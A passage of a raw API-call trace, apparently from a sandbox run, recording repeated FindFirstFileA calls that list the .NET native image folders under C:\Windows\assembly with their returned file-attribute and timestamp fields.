[0248.862] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\CustomMarshalers\\d5251eadcf77a3a64de3e3425d619c18\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59217690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11afd980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11afd980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.868] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\dfsvc\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bda4b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11b23ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11b23ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.911] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\dfsvc\\0fd9fa3a9fc57cda0ed39f2095fdc4f2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bda4b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11b95f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11b95f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.921] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.A3ec156ec#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59394450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11b95f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11b95f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.926] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.A3ec156ec#\\442fdc33657b27d6eadad35bc563f869\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59394450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11bbc060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11bbc060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.936] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.B22c61a69#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58a5af10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11bbc060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11bbc060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.942] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.B22c61a69#\\7a82719c89e642f8d17fd9c315a0d2b0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58a5af10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11be21c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11be21c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.947] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.B3325a29b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54c04ef0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11be21c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11be21c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.953] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.B3325a29b#\\917c730a5c22dc41f74ca94fc69e1879\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54c04ef0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11be21c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11be21c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.960] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.B83e9cb53#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee54b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11c08320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11c08320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.988] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.B83e9cb53#\\eb3808a6deaa4ca0482592fc3cd3e591\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee54b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11c545e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11c545e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.005] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Baa2ca56b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edb3f50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11c7a740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11c7a740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.010] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Baa2ca56b#\\7f3ef0a3292355232fc463ad53498cc2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edb3f50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11c7a740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11c7a740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.016] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Build\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57645570, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11c7a740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11c7a740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.021] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Build\\dbd10a9701a839dc22b8ec486247e965\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57645570, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11ca08a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11ca08a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.113] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.CSharp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59fa13b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11d850e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11d850e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.118] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.CSharp\\60c18646a1c70cceb0624fb3cb99da91\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59fa13b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11d850e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11d850e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.124] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Ifcaec084#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57ee6530, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11d850e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11d850e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.129] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Ifcaec084#\\e2ef33a0dc497b937a6b0d91baebaaa6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57ee6530, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11dab240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11dab240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.135] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.JScript\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4858310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11dab240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11dab240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.141] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.JScript\\bc56ccd3502df30b2dbe6ec77eedf5de\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa487e470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11dab240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11dab240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.146] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O2eb0cc9a#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7eb1b300, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11dd13a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11dd13a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.207] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O2eb0cc9a#\\e485583fbf74f6def1940114db8b2032\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7eb1b300, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11e69920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11e69920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.213] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O4161a3a3#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dc86c40, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11e69920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11e69920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.277] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O4161a3a3#\\d36c77d6f7a62a08033e5104cdfc1188\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dc86c40, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11f01ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11f01ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.283] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O4a946565#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d85c5c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11f01ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11f01ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.288] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O4a946565#\\aeecffeb172db13a8c522a5bdebf93df\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d85c5c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11f28000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11f28000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.294] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O4b20f4dd#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e7af360, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11f28000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11f28000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.312] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O4b20f4dd#\\b93d7918b4d48513ec6a9cb4bcfac2d5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e7af360, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11f4e160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11f4e160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.318] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O5263ae01#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e9ea800, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11f742c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11f742c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.342] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O5263ae01#\\8b3f23d832d83b8da40e940066af85c1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e9ea800, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11f9a420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11f9a420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.353] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O5949707a#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ca3a320, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11fc0580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11fc0580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.358] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O5949707a#\\565131aed5b65b39f420bd537804f143\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ca3a320, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11fc0580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11fc0580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.365] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O854200f9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf491e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11fe66e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11fe66e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.373] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O854200f9#\\f18881ada865a1f4dc18fcef5886db42\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf491e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x11fe66e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11fe66e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.379] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Oab3f8ec6#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f512f20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x1200c840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1200c840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.384] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Oab3f8ec6#\\7c1cf57ccbbfca609339210ba70ccf32\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f512f20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x1200c840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1200c840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.389] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Oe2e369ff#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e5e62e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x1200c840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1200c840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.395] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Oe2e369ff#\\06036fe053c42a978dddf39215a2324e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e5e62e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x120329a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x120329a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.401] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Oeab01fba#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ef45980, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x120329a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x120329a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.406] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Oeab01fba#\\92bb14e60e969a853957cf9aeed379c7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ef45980, ftCreationTime.dwHighDateTime=0x1d305ec, 